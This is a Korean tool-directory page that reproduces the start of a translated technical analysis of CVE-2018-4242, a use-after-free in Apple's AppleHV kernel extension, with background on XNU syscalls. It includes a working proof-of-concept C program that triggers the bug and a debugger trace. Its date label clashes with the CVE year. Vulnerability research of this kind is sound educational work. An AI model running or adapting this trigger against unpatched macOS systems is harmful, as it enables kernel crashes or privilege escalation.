Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Look-at-The-XNU-Through-A-Tube-CVE-2018-4242-Write-up-Translation- — CVE-2018-4242에 대한 상세 기술 분석 및 번역: AppleHV의 XNU 커널 취약점으로, PoC 코드, 리버스 엔지니어링 분석, 시스템 콜, MIG 및 IOKit에 대한 설명을 포함합니다. | Kitploit
도구/GitHubGitHub/yeonnic/look-at-the-xnu-through-a-tube-cve-2018-4242-write-up-translation-
Vulnerability AnalysisExploitationReverse EngineeringPapers & ResearchLearning & EducationBinary Exploitation
GitHubyeonnic/look-at-the-xnu-through-a-tube-cve-2018-4242-write-up-translation-

Look-at-The-XNU-Through-A-Tube-CVE-2018-4242-Write-up-Translation-

CVE-2018-4242에 대한 상세 기술 분석 및 번역: AppleHV의 XNU 커널 취약점으로, PoC 코드, 리버스 엔지니어링 분석, 시스템 콜, MIG 및 IOKit에 대한 설명을 포함합니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
17년 전아직 검토되지 않음

XNU를 관을 통해 살펴보기: CVE-2018-4242 분석

Zhuo Liang, Qihoo 360 Nirvan 팀

목차

1 소개 1

1.1 CVE-2018-4242 . . . . . . . . . . . . . . . . . . . . . . . . . 1

2 XNU 커널 2

2.1 시스템 콜 . . . . . . . . . . . . . . . . . . . . . . . . . 2

2.2 MIG . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6

2.2.1 mach_msg 및 Mach 포트 . . . . . . . . . . . . . . . . . 6

2.2.2 MIG: RPC 인터페이스 생성기 . . . . . . . . . . . . . 8

2.3 IOKit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11

2.3.1 IOUserClient . . . . . . . . . . . . . . . . . . . . . . . 12

3 AppleHV 12

3.1 리버스 엔지니어링 . . . . . . . . . . . . . . . . . . . . . . 12

3.2 취약점 . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16

3.3 수정 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17

4 결론 17

1 소개

1.1 CVE-2018-4242

애플은 지난 주 3월에 보고된 CVE-2018-4242에 대한 macOs 10.13.4 보안 업데이트를 발표 했습니다. 해당 CVE-2018-4242는 커널 권한으로 임의의 코드를 실행함으로써 악성 프로그램에 노출될 수 있는 취약점입니다. 이 보고서는 이 문제를 통해서 XNU를 살펴 보는데 도움이 될 것입니다. Listing 1의 코드는 우리가 시연한 POC입니다. 전체 소스코드는 github에서 다운로드할 수 있습니다.

root@kitploit:~
1 // AppleHVUaF.c
2 void destroy_vm() {
3   asm("mov $0x03000000, %rax; mov $0x04, %rdi; syscall");
4   return;
5 }
6 int main(int argc, char **argv) {
7   const char *service_name = "AppleHV";
8   io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
9
10  if (service == MACH_PORT_NULL) {
11    printf("[−] Cannot get matching service of %s\n", service_name);
12    return 0;
13  }
14  printf("[+] Get matching service of %s succeed, service=0x%x\n", service_name, service);
15
16  io_connect_t client = MACH_PORT_NULL;
17  kern_return_t ret = IOServiceOpen(service, mach_task_self(), 0, &client);
18  if (ret != KERN_SUCCESS) {
19    printf("[−] Open service of %s failed!\n", service_name);
20    return 0;
21  }
22  printf("[+] Create IOUserClient of %s succeed, client=0x%x\n",
23  service_name, client);
24  IOServiceClose(client);
25  usleep(5);
26  destroy_vm();
27  return 0;
28 }

​ Listing 1: CVE-2018-4242에 대한 PoC

이 코드를 이해하려면 XNU에 대한 몇 가지 기본 지식이 필요합니다. XNU를 처음 접하는 독자를 위해 2절에서는 XNU에 대한 내용을 다룰것 입니다. 이미 아래 항목들을 알고 있다면 3절로 부터 보셔도 됩니다.

  • XNU의 시스템 콜 종류
  • MIG (일명 XNU의 RPC 인터페이스 생성기)
  • IOKit 서브시스템

섹션 1 소개
섹션 2 XNU 기본 지식
섹션 3 AppleHV.kext 리버스 엔지니어링 및 CVE-2018-4242 상세
섹션 4 결론

2 XNU 커널

2.1 시스템 콜

잘 알려진 바와 같이, 컴퓨팅에서 시스템 콜은 프로그램이 운영 체제와 상호 작용하는 방법입니다. 사용자 수준 프로세스는 시스템 콜을 통해 운영 체제의 서비스를 요청할 수 있습니다. XNU에는 사용자-커널 상호 작용을 지원하는 네 가지 종류의 시스템 콜이 있습니다. Listing 1에 표시된 syscall 명령어를 통해 이들을 자세히 살펴보겠습니다. ​ x86_64 아키텍처의 syscall은 커널 공간에서 OS 시스템 콜 핸들러를 호출할 수 있는 명령어입니다. Listing 2는 간단한 write 예제를 통해 syscall이 어떻게 작동하는지 보여줍니다.

root@kitploit:~
~ cat write.c
2 #include 
3 int main() {
4 write(0, "Hello\n", 6);
5 return 0;
6 }
7 ~ clang write.c −o write
8 ~ lldb write
9 (lldbinit) b libsystem_kernel.dylib`write
10 Breakpoint 1: where = libsystem_kernel.dylib`write, address = 0x000000000001e6f8
11 (lldbinit) r
12 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[regs]
13 RAX: 0x0000000000000006 RBX: 0x0000000000000000 RBP: 0x00007FFEEFBFF8D0
14 RSP: 0x00007FFEEFBFF8B8 RDI: 0x0000000000000000 RSI: 0x0000000100000FA2
15 RDX: 0x0000000000000006 RCX: 0x00007FFEEFBFF9F8 RIP: 0x00007FFF7ED096F8
16 R8: 0x0000000000000000 R9: 0xFFFFFFFF00000000 R10: 0x00007FFEEFBFFA48
17 R11: 0x00007FFF7ED096F8 R12: 0x0000000000000000 R13: 0x0000000000000000
18 R14: 0x0000000000000000 R15: 0x0000000000000000
19 CS: 002B FS: 0000 GS: 0000
20 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[code]
21 write @ libsystem_kernel.dylib:
22 −> 0x7fff7ed096f8: b8 04 00 00 02 mov eax, 0x2000004
23 0x7fff7ed096fd: 49 89 ca mov r10, rcx
24 0x7fff7ed09700: 0f 05 syscall
25 0x7fff7ed09702: 73 08 jae 0x7fff7ed0970c ; <+20>
26 0x7fff7ed09704: 48 89 c7 mov rdi, rax
27 0x7fff7ed09707: e9 19 54 ff ff jmp 0x7fff7ecfeb25 ; cerror
28 0x7fff7ed0970c: c3 ret
29 0x7fff7ed0970d: 90 nop
30 (lldbinit) x/s rsi
31 0x100000fa2: "Hello\n"

​ Listing 2: 간단한 write 예제

도구 다운로드